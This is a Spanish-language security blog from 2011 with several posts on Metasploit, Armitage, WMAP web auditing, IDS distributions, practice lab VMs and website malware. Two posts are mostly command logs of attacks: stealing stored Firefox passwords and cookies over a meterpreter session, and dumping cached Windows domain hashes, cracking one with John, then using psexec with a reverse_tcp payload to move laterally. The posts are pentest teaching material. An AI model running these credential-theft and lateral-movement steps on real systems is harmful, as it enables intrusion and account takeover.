viernes, 27 de mayo de 2011

Metasploit 3.7.1., Armitage y PostgreSQL

Desde hace varios días, o semanas tal vez, no aportaba algo útil a este blog. Bien, mientras esperaba mi último vuelo hacia la Ciudad de los Reyes (Google it), decidí completar la instalación de mi netbook con Ubuntu 11.04 agregando algunas utilidades que uso con frecuencia, entre estas: Metasploit Framework y Armitage.

Metasploit 3.7.1 ya se encuentra disponible para la descarga. Desde la versión 3.7.0, incluye una gran cantidad de mejoras significativas. Una de las más importantes es la administración de sesiones, ahora Metasploit es capaz de manejar cientos de sesiones, lo cual es útil a la hora de ejecutar compromisos de ingeniería social a gran escala. Junto con esta actualización, otras largamente esperadas funcionalidades han sido agregadas, ataques de robo de contraseñas y pass-the-hash en Windows Server 2008 y soporte para la autenticación NTLM en el driver Microsoft SQL son las más importantes. Como bono adicional, esta versión incluye 35 nuevos exploits para ataques remotos.

Veremos aqui entonces como instalar Metasploit y Armitage desde cero con soporte para PostgreSQL en Ubuntu 11.04.

Instalación de Metasploit
$ wget http://updates.metasploit.com/data/releases/framework-3.7.1-linux-mini.run
$ chmod +x framework-3.7.0-linux-mini.run
$ sudo ./framework-3.7.0-linux-mini.run




Actualización de Metasploit
$ sudo msfupdate


Instalación de PostgreSQL y otras dependencias
$ sudo apt-get install postgresql pgadmin3 libpq-dev sun-java6-plugin ruby rubygems libreadline-dev libssl-dev libpq5 ruby-dev nmap
$ sudo gem install pg


Creación del usuario y de la base de datos de Metasploit (PostgreSQL)
$ sudo su postgres
$ createuser metasploit -P
Enter password for new role:
Enter it again:
Shall the new role be a superuser? (y/n) n
Shall the new role be allowed to create databases? (y/n) n
Shall the new role be allowed to create more new roles? (y/n) n
$createdb --owner=metasploit metasploit


Iniciar msfconsole y ejecutarlos siguientes comandos:
$ sudo /etc/init.d/./postgresql start
$ sudo msfconsole
msf> db_driver postgresql
msf> db_connect metasploit:P4ssw0rd@127.0.0.1:5432/metasploit


En otra consola, el servicio msfrpcd debe ser iniciado:
$ sudo msfrpcd -f -U metasploit -P P4ssw0rd -t Basic
[sudo] password for darkoperator: 
[*] XMLRPC starting on 0.0.0.0:55553 (SSL):Basic...
[*] XMLRPC ready at 2011-05-27 01:04:11 -0500.


Ahora es tiempo de iniciar Armitage:
$ sudo /opt/framework-3.7.1/msf3/./armitage



Verificamos las credenciales correctas de conexión y presionamos en "Connect".

User: metasploit
Pass: P4ssw0rd
DB Driver: postgresql
DB Connect String: metasploit:P4ssw0rd@127.0.0.1/metasploit


En pocos segundos aparecera la ventana de Armitage



Estando ya en Armitage, vamos a Hosts -> Nmap scan -> Intense Scan.

Ingresamos una subnet de nuestro interés y... happy hacking!

sábado, 26 de marzo de 2011

Auditoría de Sitios Web con el Plugin WMAP y el Módulo HTTP Crawler de Metasploit

WMAP se encuentra implementado como un plugin de Metasploit y su funcionamiento depende de tener activa una base de datos. La base de datos es utilizada para almacenar una lista de URLs objetivo al igual que para almacenar los resultados de los módulos WMAP. Para iniciar con WMAP, es necesario configurar la base de datos y se debe agregar al menos una URL objetivo. En la mayoría de los casos, se importa la información obtenida del sitio web objetivo en WMAP a través de un spider, proxy, o de un export hecho con otra herramienta. En el siguiente ejemplo utilizaremos el módulo HTTP Crawler de Metasploit Framework para agregar un objetivo y demostrar el proceso.

Debemos instalar los siguientes paquetes:
sudo apt-get install libxml-ruby libxml2-dev
sudo apt-get install libxslt-ruby libxslt-dev
sudo apt-get install libnokogiri-ruby

o también:
sudo gem install robots
sudo gem install nokogiri 
sudo gem install anemone


Iniciar Metasploit Framework

Ejecutaremos la consola de Metasploit Framework (msfconsole):
$ ./msconsole

#    # ###### #####   ##    ####  #####  #       ####  # #####
##  ## #        #    #  #  #      #    # #      #    # #   #
# ## # #####    #   #    #  ####  #    # #      #    # #   #
#    # #        #   ######      # #####  #      #    # #   #
#    # #        #   #    # #    # #      #      #    # #   #
#    # ######   #   #    #  ####  #      ######  ####  #   #


=[ metasploit v3.7.0-dev [core:3.7 api:1.0]
+ -- --=[ 669 exploits - 345 auxiliary
+ -- --=[ 217 payloads - 27 encoders - 8 nops
=[ svn r12131 updated today (2011.03.25)

msf > 

Seleccionamos el driver de la base de datos (para este tutorial vamos a utilizar el driver sqlite3 pero también es posible utilizar el driver postgresql).
msf > db_driver sqlite3
[*] Using database driver sqlite3


Creamos la base de datos
msf> db_connect wmap_test
[-] Note that sqlite is not supported due to numerous issues.
[-] It may work, but don't count on it
[*] Creating a new database file...
[*] Successfully connected to the database
[*] File: wmap_test


Rastrear el objetivo

Cargamos el analizador HTTP
msf > use scanner/http/crawler
msf auxiliary(crawler) > show options

Module options (auxiliary/scanner/http/crawler):

Name         Current Setting  Required  Description
----         ---------------  --------  -----------
MAX_MINUTES  5                yes       The maximum number of minutes to spend on each URL
MAX_PAGES    500              yes       The maximum number of pages to crawl per URL
MAX_THREADS  4                yes       The maximum number of concurrent requests
Proxies                       no        Use a proxy chain
RHOST                         yes       The target address
RPORT        80               yes       The target port
URI          /                yes       The starting page to crawl
VHOST                         no        HTTP server virtual host

msf auxiliary(crawler) > 


Definir el objetivo
msf auxiliary(crawler) > set RHOST www.target.com
msf auxiliary(crawler) > set RPORT 443


Ejecutar el análisis
msf auxiliary(crawler) > run
[*] Crawling https://www.target.com
[*] [00001/00500]    200 - www.target.com - https://www.target.com/
[*]                         FORM: POST /index.asp
[*] [00002/00500]    200 - www.target.com - https://www.target.com/index.asp?lg=EN
[*]                         FORM: GET /index.asp
[*]                         FORM: POST /index.asp
[*] [00003/00500]    200 - www.target.com - https://www.target.com/index.asp?lg=FR
[*]                         FORM: GET /index.asp
[*]                         FORM: POST /index.asp
[*] [00004/00500]    200 - www.target.com - https://www.target.com/index.asp
[*]                         FORM: POST /index.asp
[*] Crawl of https://www.target.com:443/ complete
[*] Auxiliary module execution completed


Cargar el plugin WMAP
msf > load wmap
[*] [WMAP 1.0] ===  et [  ] metasploit.com 2011
[*] Successfully loaded plugin: wmap


Verificar los resultados del Crawler HTTP
msf > wmap_sites -l
Available sites
===============

Id  Host             Vhost                             Port  # Pages  # Forms
--  ----             -----                             ----  -------  -------
0   XXX.XXX.XXX.XXX  www.target.com  443   4        3

Nota: Si se requiere establecer un parámetro específico para algún módulo de prueba o sise desea cambiar el valor de una variable definida, esto puede hacerse utilizando el comando setg.

Ejemplo:
msf > setg VHOST www.target.com
msf > setg DOMAIN target.com
msf > setg EXT .asp
msf > setg WMAP_EXCLUDE_FILE


Seleccionar el objetivo
msf > wmap_targets -t www.target.com:443,XXX.XXX.XXX.XXX:443


Para visualizar los objetivos:
msf > wmap_targets -l

Defined targets
===============

Id  Vhost                             Host             Port  SSL   Path
--  -----                             ----             ----  ---   ----
0   www.target.com                    XXX.XXX.XXX.XXX  443   true  


Ejecutando módulos WMAP

Ahora que un objetivo ha sido seleccionado, se podrá obtener una lista de los módulos WMAP disponibles utilizando el comando wmap_run -t:
msf > wmap_run -t
wmap_run -t
[*] Testing target:
[*]  Site: www.target.com (XXX.XXX.XXX.XXX)
[*]  Port: 443 SSL: true
============================================================
[*] Testing started. Fri Mar 25 14:12:23 +0100 2011
=[ SSL testing ]=
============================================================
[*] Loaded auxiliary/scanner/http/ssl ...
[*] Loaded auxiliary/scanner/http/cert ...

=[ Web Server testing ]=
============================================================
[*] Loaded auxiliary/scanner/http/verb_auth_bypass ...
[*] Loaded auxiliary/scanner/http/robots_txt ...
[*] Loaded auxiliary/admin/http/tomcat_administration ...
[*] Loaded auxiliary/scanner/http/webdav_internal_ip ...
[*] Loaded auxiliary/scanner/http/webdav_website_content ...
[*] Loaded auxiliary/scanner/http/http_version ...
[*] Loaded auxiliary/scanner/http/frontpage_login ...
[*] Loaded auxiliary/admin/http/tomcat_utf8_traversal ...
[*] Loaded auxiliary/scanner/http/webdav_scanner ...
[*] Loaded auxiliary/scanner/http/web_vulndb ...
[*] Loaded auxiliary/scanner/http/vhost_scanner ...
[*] Loaded auxiliary/scanner/http/options ...
[*] Loaded auxiliary/scanner/http/open_proxy ...
[*] Loaded auxiliary/scanner/http/svn_scanner ...

=[ File/Dir testing ]=
============================================================
[*] Loaded auxiliary/scanner/http/ms09_020_webdav_unicode_bypass ...
[*] Loaded auxiliary/scanner/http/files_dir ...
[*] Loaded auxiliary/scanner/http/replace_ext ...
[*] Loaded auxiliary/scanner/http/dir_webdav_unicode_bypass ...
[*] Loaded auxiliary/scanner/http/copy_of_file ...
[*] Loaded auxiliary/scanner/http/file_same_name_dir ...
[*] Loaded auxiliary/scanner/http/dir_listing ...
[*] Loaded auxiliary/scanner/http/brute_dirs ...
[*] Loaded auxiliary/scanner/http/writable ...
[*] Loaded auxiliary/scanner/http/prev_dir_same_name_file ...
[*] Loaded auxiliary/scanner/http/dir_scanner ...
[*] Loaded auxiliary/scanner/http/backup_file ...
[*] Loaded auxiliary/scanner/http/trace_axd ...

=[ Unique Query testing ]=
============================================================
[*] Loaded auxiliary/scanner/http/error_sql_injection ...
[*] Loaded auxiliary/scanner/http/blind_sql_query ...

=[ Query testing ]=
============================================================

=[ General testing ]=
============================================================
[*] Analysis completed in 52.9915919303894 seconds.
[*] Done.
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++


Nota:
Para consultar la ayuda: wmap_run -h

En wmap/date/ podemos encontrar varios archivos de configuración como un ejemplo del perfi, activado con wmap_run -e path/profile

Si quisiéramos limitar la prueba WMAP a un conjunto de módulos específicos, podemos utilizar un archivo de perfil.

Los perfiles pueden definirse a través de argumentos adicionales al comando wmap_run.

msf > wmap_run -e path/to/profile/file


El archivo de perfil contiene la lista de módulos a ejecutar. Para ver un ejemplo podemos consultar en data/wmap/wmap_sample.profile.


Conclusion

Para ejecutar los módulos, ejecutamos wmap_run -e:
msf > wmap_run -e
[*] Using ALL wmap enabled modules.
[*] Testing target:
[*]  Site: www.target.com (XXX.XXX.XXX.XXX)
[*]  Port: 443 SSL: true
============================================================
[*] Testing started. Fri Mar 25 14:14:33 +0100 2011


Reportes

Actualmente, los resultados del análisis WMAP son almacenados en la base de datos.
La base de datos puede utilizarse para construir herramientas personalizadas de reportes, o para hacer consultas directamente desde la consola:
msf > db_notes
[*] Time: Fri Mar 25 13:15:21 UTC 2011 Note: host=XXX.XXX.XXX.XXX service=https type=http.vhost data={:name=>"www.target.com"}
[*] Time: Fri Mar 25 13:15:21 UTC 2011 Note: host=XXX.XXX.XXX.XXX service=https type=ssl.certificate data={:cn=>"www.target.com", :subject=>[["serialNumber", "xxxxxxxxxxxxxxxxxxxxxxxxxx/xxxxx", xx], ["C", "US", 19], ["O", "www.target.com", 19], ["OU", "TX", 19], ["OU", "See www.trust.com/resources/cps (c)11", 19], ["OU", "Domain Control Validated - QuickSSL(R) Premium", 19], ["CN", "www.target.com", 19]], :algorithm=>"sha1WithRSAEncryption"}
[*] Time: Fri Mar 25 13:15:38 UTC 2011 Note: host=XXX.XXX.XXX.XXX service=https type=HTTP_OPTIONS data="OPTIONS, TRACE, GET, HEAD, POST"
[*] Time: Fri Mar 25 13:23:19 UTC 2011 Note: host=XXX.XXX.XXX.XXX service=https type=FILE data="/intro.htm Code: 200"
[*] Time: Fri Mar 25 13:33:15 UTC 2011 Note: host=XXX.XXX.XXX.XXX service=https type=FILE data="/css Code: 301"
[*] Time: Fri Mar 25 13:33:24 UTC 2011 Note: host=XXX.XXX.XXX.XXX service=https type=FILE data="/images Code: 301"
[*] Time: Fri Mar 25 13:33:37 UTC 2011 Note: host=XXX.XXX.XXX.XXX service=https type=FILE data="/script Code: 301"
[*] Time: Fri Mar 25 13:34:23 UTC 2011 Note: host=XXX.XXX.XXX.XXX service=https type=FILE data="/script Code: 404"
[*] Time: Fri Mar 25 13:44:58 UTC 2011 Note: host=XXX.XXX.XXX.XXX service=https type=DIRECTORY data="/css/ Code: 403"
[*] Time: Fri Mar 25 13:45:29 UTC 2011 Note: host=XXX.XXX.XXX.XXX service=https type=DIRECTORY data="/images/ Code: 403"
[*] Time: Fri Mar 25 13:46:00 UTC 2011 Note: host=XXX.XXX.XXX.XXX service=https type=DIRECTORY data="/script/ Code: 403"

msf > db_vulns
[*] Time: Fri Mar 25 13:15:40 UTC 2011 Vuln: host=XXX.XXX.XXX.XXX port=443 proto=tcp name=HTTP-TRACE-ENABLED refs=BAhbByIIQ1ZFIg4yMDA1LTMzOTg=
,BAhbByIIQ1ZFIg4yMDA1LTM0OTg=
,BAhbByIKT1NWREIiCDg3Nw==
,BAhbByIIQklEIgoxMTYwNA==
,BAhbByIIQklEIgk5NTA2
,BAhbByIIQklEIgk5NTYx

msf >


La información de la vulnerabilidad es codificada en formato base64, por lo tanto debemos decodificarla. Podremos utilizar openssl para esto.
msf > echo "BAhbByIIQ1ZFIg4yMDA1LTMzOTg=" | openssl base64 -d
[*] exec: echo "BAhbByIIQ1ZFIg4yMDA1LTMzOTg=" | openssl base64 -d

[CVE"2005-3398 
msf >

Ahora podemos utilizar estos datos para recolectar información mas detallada sobre la vulnerabilidad reportada.

Como pentesters, nos gustaría investigar cada hallazgo en profundidad e identificar si existen métodos para ataques potenciales.

Para obtener detalles CVE podemos utilizar Google:

miércoles, 23 de marzo de 2011

Top de Distribuciones Linux para Monitoreo de Seguridad y Redes


Insta-Snorby

Este appliance está diseñado para aquellos usuarios que desean probar Snorty (un nuevo front-end para Snort IDS) o que necesitan tener instalado de forma rápida y simple un sensor de Snort.

El appliance contiene lo siguiente:

  • Snort 2.9.0.3 – La última versión del popular Sistema de Detección de Intrusiones.
  • Barnyard 2.19 – Una aplicación que decifra los logs unified2 de Snort y los almacena en la base de datos de Snorby.
  • Snorby 2.2.1 – El front-end para el IDS Snort
  • OpenFPC – Monitoreo y captura completa de paquetes.
  • Pulled Pork 0.5 – Administrador de actualizaciones de reglas IDS

El proceso de instalación lo guiará a través de la configuración del servidor MySQL y le solicitará ingresar su "Oinkcode" el cual le permitirá descargar de forma automática las últimas reglas VTR (las firmas que potencian el IDS) desde el sitio web de Sourcefire. Las reglas Emerging Threat (otras reglas conocidas para IDS) ya se encuentran descargadas y habilitadas.




Smooth-Sec

Smooth-Sec es una distribución Linux IDS/IPS (Intrusion Detection/Prevention System) lista para correr, se encuentra basado en el motor multi-thread Suricata IDS/IPS y en Snorby. Smooth-Sec está construido sobre Ubuntu 10.04 LTS utilizando la base TurnKey Core como plataforma de desarrollo. La funcionalidad es el punto clave que permite implementar un completo sistema IDS/IPS y tenerlo listo en cuestion minutos. Muy fácil de usar para novatos en seguridad con poca experiencia en Linux.




Siem-live

SIEM-live es un sistema SIEM (Security Information and Event Management)listo para correr, basado en herramientas Open Source y Debian-live. Para recolectar los eventos ustiliza Suricata IDS/IPS, syslog como correlacionador central, OpenVAS para el análisis de vulnerabilidades y muchas otras herramientas. Las alertas y los eventos son almacenados y analizados en SIEM Prelude, también open Source. Los resultados serán accesibles a través de la interfaz web Prewikka.

SIEM-live en un live-CD booteable, el cual proporciona un sistema completamente funcional sin requerir configuraciones adicionales. También puede soportar cambios persistentes, o ser instalado en disco duro o en un dispositivo USB.

Su objetivo es proporcionar una forma fácil de implementar y probar un sistema SIEM, y poder ver rápidamente lo que está sucediendo en una red y concentrase en tratar de detectar patrones de alto nivel con la correlación de eventos. De igual forma se incluirán herramientas de visualización y generación de reportes en un futuro cercano.




Security Onion LiveDVD

Security Onion LiveDVD es un DVD bootable que contiene software utilizado para instalar, configurar y probar Sistemas de Detección de Instrusiones. Está basado en Xubuntu 10.04 y contiene Snort, Suricata, Sguil, Squert, Xplico, Nmap, Metasploit, Armitage, Scapy, Hping, Netcat, tcpreplay y muchas otras herramientas de seguridad.




Network Security Toolkit

Network Security Toolkit (NST) es un LiveCD basado en Linux que proporciona un conjunto de herramientas open source para realizar rutinas de diagnóstico en seguridad de redes y tareas de monitoreo. La distribución puede ser utilizada como una herramienta de análisis, validación y monitoreo en servidores que hospedan máquinas virtuales. 

Otras características incluyen visualizaciones de datos de Ntop, Wireshark, Traceroute y Kismet mediante la geolocalización de direcciones de host, conversación de direcciones IPv4, datos de traceroute y puntos de acceso inalámbrico que se muestran a través de Google Earth o mediante una imagen de Mercator World Map, también incluye un sistema de captura y de análisis de protocolos basado en navegador con capacidad de monitorear hasta 4 interfaces de red utilizando Wireshark, al igual que un sistema de detección de intrusiones basado en Snort con un backend colector que almacena incidentes en una base de datos MySQL.




EasyIds

EasyIDS es una distribución IDS (Intrusion Detection System) open source basada en Snort. Construida sobre CentOS y administrable a través de una interfaz web, EasyIDS deja a un lado el dolor y las frustraciones a la hora de implementar un sistema de detección de intrusiones.

Diseñado para el novato en seguridad de redes con poca experiencia en Linux, EasyIDS puede convertir casi cualquier sistema estandar x86 en un sistema de detección de intrusiones completamente funcional en tan solo 15 minutos. EasyIDS minimiza los costos de implementación y mantenimiento en seguridad de la red sin comprometer la funcionalidad y el desempeño.



Source

viernes, 4 de marzo de 2011

Obtención de contraseñas almacenadas en Firefox con Metasploit

Este módulo recolecta la credenciales que se encuentren almacenadas en el navegador Firefox si este se encuentra instalado en la máquina objetivo. Adicionalmente, descarga las cookies almacenadas, lo cual permite portencialmente establecer sesiones web válidas.

Firefox almacena las contraseñas en el archivo de base de datos signons.sqlite. También existe un archivo keys3.db el cual contiene la llave para decifrar estas contraseñas. En los casos donde la víctima no ha establecido una Contraseña Maestra, las contraseñas pueden ser decifradas fácilmente utilizando otras herramientas. Pero si Firefox tiene establecida una Contraseña Maestra, la única opción es utilizar ataques de fuerza bruta.


=[ metasploit v3.6.0-beta [core:3.6 api:1.0]
+ -- --=[ 647 exploits - 340 auxiliary
+ -- --=[ 216 payloads - 27 encoders - 8 nops
       =[ svn r11875 updated today (2011.03.04)

msf > exit
fahrenheit:msf3 bannedit$ ruby msfconsole

                ##                          ###           ##    ##
 ##  ##  #### ###### ####  #####   #####    ##    ####        ######
####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##
####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##
## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##
##   ##  #### ###   #####   #####     ##   ####   ####   #### ###
                                      ##


       =[ metasploit v3.6.0-beta [core:3.6 api:1.0]
+ -- --=[ 647 exploits - 340 auxiliary
+ -- --=[ 216 payloads - 27 encoders - 8 nops
       =[ svn r11875 updated today (2011.03.04)

msf > use multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf exploit(handler) > set RHOST 192.168.0.104
RHOST => 192.168.0.104
msf exploit(handler) > exploit -j
[*] Exploit running as background job.

[*] Started bind handler
[*] Starting the payload handler...
msf exploit(handler) > 
[*] Sending stage (749056 bytes) to 192.168.0.104
[*] Meterpreter session 1 opened (192.168.0.108:57997 -> 192.168.0.104:4444) at 2011-03-04 16:12:36 -0500
msf exploit(handler) > use post/multi/gather/firefox_creds 
msf post(firefox_creds) > set SESSION 1
SESSION => 1
msf post(firefox_creds) > run
[*] We do not have SYSTEM checking bannedit account for Firefox
[*] Checking for Firefox directory in: C:\Users\bannedit\AppData\Roaming\Mozilla\
[*] Found Firefox installed
[*] Locating Firefox Profiles...

[+] Found Profile p5g3cgsg.default
[+] Downloading cookies.sqlite file from: C:\Users\bannedit\AppData\Roaming\Mozilla\Firefox\Profiles\p5g3cgsg.default
[+] Downloading cookies.sqlite-journal file from: C:\Users\bannedit\AppData\Roaming\Mozilla\Firefox\Profiles\p5g3cgsg.default
[+] Downloading key3.db file from: C:\Users\bannedit\AppData\Roaming\Mozilla\Firefox\Profiles\p5g3cgsg.default
[+] Downloading signons.sqlite file from: C:\Users\bannedit\AppData\Roaming\Mozilla\Firefox\Profiles\p5g3cgsg.default
[+] Downloading signons3.txt file from: C:\Users\bannedit\AppData\Roaming\Mozilla\Firefox\Profiles\p5g3cgsg.default
[*] Post module execution completed

W00t!

jueves, 3 de marzo de 2011

Cachedump para Meterpreter en Acción

1. Descargar:
wget http://lab.mediaservice.net/code/cachedump.rb

2. Guardar en el directorio de Metasploit (Backtrack):
mv cachedump.rb  /pentest/exploits/framework3/modules/post/windows/gather

3. Cargar la consola, hackear algo y obtener privilegios de SYSTEM, luego:
meterpreter > run post/windows/gather/cachedump
[*] Executing module against WORKSTATION244
[*] Obtaining the boot key...
[*] Trying 'XP' style...
[*] Getting PolSecretEncryptionKey...
[*] XP compatible client
[*] Lsa Key: 29249a6480f428cb6dacba2d30d5292c
[*] Getting LK$KM...
[*] Dumping cached credentials...
Username             : jdoe
Hash                 : 592cdfbc3f1ef77ae95c75f851e37166
Last login           : 2010-05-11 01:43:48
DNS Domain Name      : CONTOSO.CO
Effective Name       : jdo
Full Name            : eJane Do
User ID              : 1107
Primary Group ID     : 513
Additional groups    : 33620069 33554432 34013184
Logon domain name    : CONTOS
----------------------------------------------------------------------
[*] John the Ripper format:
jdoe:592cdfbc3f1ef77ae95c75f851e37166:CONTOSO.CO:CONTOS
[*] Hash are in MSCACHE format. (mscash)
meterpreter >

4. Romperla:
cat lab.dic | ./john --stdin lab.mscash --format=mscash --pot=lab.pot
Loaded 1 password hash (M$ Cache Hash [Generic 1x])
ASDqwe123        (jdoe)
guesses: 1  time: 0:00:00:00  c/s: 500  trying: ASDqwe123

5. Usarla:
meterpreter > background
msf exploit(handler) > route add 10.10.10.0 255.255.255.0 1
msf exploit(handler) > use exploit/windows/smb/psexec
msf exploit(psexec) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(psexec) > set LHOST X.X.X.X
LHOST => X.X.X.X
msf exploit(psexec) > set LPORT 80
LPORT => 80
msf exploit(psexec) > set SMBDomain Contoso

SMBDomain => Contoso
msf exploit(psexec) > set SMBUser jdoe
SMBUser => jdoe
msf exploit(psexec) > set SMBPass ASDqwe123
SMBPass => ASDqwe123
msf exploit(psexec) > show options

Module options (exploit/windows/smb/psexec):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   RHOST                       yes       The target address
   RPORT      445              yes       Set the SMB service port
   SMBDomain  Contoso          no        The Windows domain to use for authentication
   SMBPass    ASDqwe123        no        The password for the specified username
   SMBUser    jdoe             no        The username to authenticate as

Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique: seh, thread, none, process
   LHOST     X.X.X.X          yes       The listen address
   LPORT     80               yes       The listen port
 
Exploit target:

   Id  Name
   --  ----
   0   Automatic

msf exploit(psexec) > set RHOST 10.10.10.200
RHOST => 10.10.10.200
msf exploit(psexec) > exploit

[*] Started reverse handler on X.X.X.X:80
[*] Connecting to the server...
[*] Authenticating to 10.10.10.200:445|Contoso as user 'jdoe'...
[*] Uploading payload...
[*] Created \jSlxARUj.exe...
[*] Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:10.10.10.200[\svcctl] ...
[*] Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:10.10.10.200[\svcctl] ...
[*] Obtaining a service manager handle...
[*] Creating a new service (SyHtwKpn - "MbEXNupOpYUL")...
[*] Closing service handle...
[*] Opening service...
[*] Starting the service...
[*] Removing the service...
[*] Closing service handle...
[*] Deleting \jSlxARUj.exe...
[*] Meterpreter session 2 opened (X.X.X.X:80 -> X.X.X.X:54430) at Mon Feb 14 22:23:00 +0000 2011

Woot ;-)

Cross-posted translation from Room362

viernes, 25 de febrero de 2011

Aplicaciones/Servidores para laboratorios de Pentest

En este post voy a presentar algunos recursos útiles para aprender sobre pruebas de penetración y donde utilizar las técnicas y herramientas de explotación en un ambiente legal y seguro. Esta lista contiene un conjunto de LiveCDs y máquinas virtuales deliberadamente inseguras, diseñadas para ser utilizadas como objetivos de ataques de enumeración, explotación web, rompimiento de contraseñas e ingeniería inversa.


Holynix
Similar a los CD's de De-ICE y pWnOS, Holynix es una imagen VMWare de un servidor Ubuntu, construida deliberadamente para tener huecos de seguridad para los propósitos de pruebas de penetración. Es mas una pista de obstáculos que un ejemplo del mundo real.


WackoPicko
WackoPicko es un sitio web que contiene vulnerabilidades conocidas. Fué utilizado inicialmente para la elaboración del paper Why Johnny Can't Pentest: Un análisis de Scanners de Vulnerabilidades Web de Caja Negra.


De-ICE PenTest LiveCDs
Estos LiveCD's son la creación de Thomas Wilhem, quien fue transferido a un equipo de pruebas de penetración en la compañía para la cual trabajaba. En la necesidad de aprender tanto sobre pentesting como le fuera posible, Thomas empezó a buscar tanto herramientas como objetivos. El encontró algunas herramientas pero no encontró objetivos que pudiera utilizar como práctica. Eventualmente, en un intento de reducir la brecha de aprendizaje, Thomas creó escenarios de pentesting utilizando LiveCD's.


Metasploitable
Metasploitable es una imagen VMWare 6.5 de un servidor Ubuntu 8.04. Se han incluido varios paquetes vulnerables, incluyendo una instalación de Tomcat 5.5. (con credenciales débiles), distcc, tikiwiki y un servidor MySQL desactualizado.


Owaspbwa
OWASP Broken Web Applications Project, una colección de aplicaciones web vulnerables.


Web Security Dojo
Un ambiente auto-contenido Open Source, para entrenamiento en pruebas de penetración de seguridad de aplicaciones web. Herramientas + Objetivos = Dojo


Lampsecurity
El entrenamiento LAMPSecurity se encuentra diseñado en series de imágenes de máquinas virtuales vulnerables junto con documentación complementaria diseñada para enseñar seguridad en Linux, Apache, PHP y MySQL.


Damn Vulnerable Web App (DVWA)
Damn Vulnerable Web App (Maldita Aplicacion Web Vulnerable) es en realidad una maldita aplicación PHP/MySQL vulnerable. Sus principales objetivos consisten en ser ayuda para que los profesionales de seguridad prueben sus habilidades y herramientas en un entorno legal, tambien para ayudar a los desarrolladores web a entender mejor los procesos de aseguramiento de las aplicaciones web y ayudar a los estudiantes/maestros en el aprendizaje de seguridad web en los ambientes del salón de clase.


Hacking-Lab
Este es el proyecto Hacking-Lab LiveCD. Se encuentra actualmente en versión beta. El liveCD es un ambiente cliente estandarizado para solucionar los retos del wargame Hacking-Lab mediante acceso remoto.


Moth
Moth es una imagen VMWare con un conjunto de aplicaciones y scripts web vulnerables


Damn Vulnerable Linux (DVL)
Damn Vulnerable Linux  es todo lo que una distribución Linux no es. Sus desarrolladores han invertido horas llenándola con software dañado, desactualizado, mal configurado y explotable, lo que la hace vulnerable a ataques. DVL no esta construida para correr en un sistema real, es una herramienta de aprendizaje para estudiantes de seguridad.


pWnOS
pWnOS también es una imagen VMWare, la cual crea un objetivo con el cual practicar pruebas de penetración; su objetivo final es lograr obtener la cuenta principal de administración (root). Ha sido diseñada para practicar utilizando exploits, con múltiples puntos de entrada. Video.


Virtual Hacking Lab
Un espejo de aplicaciones deliberadamente inseguras y programas desactualizados con vulnerabilidades conocidas. Utilizado para porpósitos de pruebas de concepto y entrenamientos en seguridad. Se encuentra disponible tanto en formatos standalone, imágenes virtuales e imágenes Live-ISO.


Badstore
Badstore.net se encuentra dedicado a ayudarnos a entender como los hackers aprovechan las vulnerabilidades de las palicaciones web y mostrarnos como reducir su exposición.


Katana
Katana es una suite de seguridad de multiple arranque (multi-boot) la cual ofrece muchas de las actuales y mejores distribuciones de seguridad y aplicaciones portables para ser utilizadas desde un dispositivo removible USB. Incluye distribuciones que se enfocan en Pen-Testing, Auditoría, Análisis Forense, Recuperacion de Datos, Análisis de Red y Remoción de Malware. Katana tambien contiene mas de 100 aplicaciones Windows portables; tales como Wireshark, Metasploit, NMAP, Cain & Able y muchas mas.

domingo, 20 de febrero de 2011

Hackers que convierten sitios web al lado oscuro

Tres familias de malware que abusan de la confianza de los usuarios en sitios web "seguros".

Los hackers rastreados por el fabricante de software antivirus Avast! han infectado los sistemas de aproximadamente cinco millones de usuarios que han visitado sitios web que consideraban como seguros.

"El peligro se encuentra en aquellos lugares conocidos y de confianza, esos que se visitan todos los días como parte de una rutina diaria, como el café que tomamos en la mañana", dijo Jiri Sejtko, analista senior de virus en Avast!.

"La gente nos envía denuncias sobre detecciones de falsos positivos, e incluso desactivan la protección de su antivirus para poder realizar sus actividades, luego se arrepienten de haberlo hecho."

Los tres tipos de malware que Avast! cree que hacen parte del "fenómeno de confianza" incluyen la familia III, Kroxxu y JS: Prontexi.

Todos son tecnológicamente diferentes, pero son muy eficaces para atrapar a los usuarios desprevenidos.

"Los chicos malos se mueven en ciclos, la creación de nuevas variantes con el conocimiento adquirido de las generaciones anteriores", agregó Sejtko.

"Cuando llegue un mensaje de alerta de su programa antivirus, no lo ignore."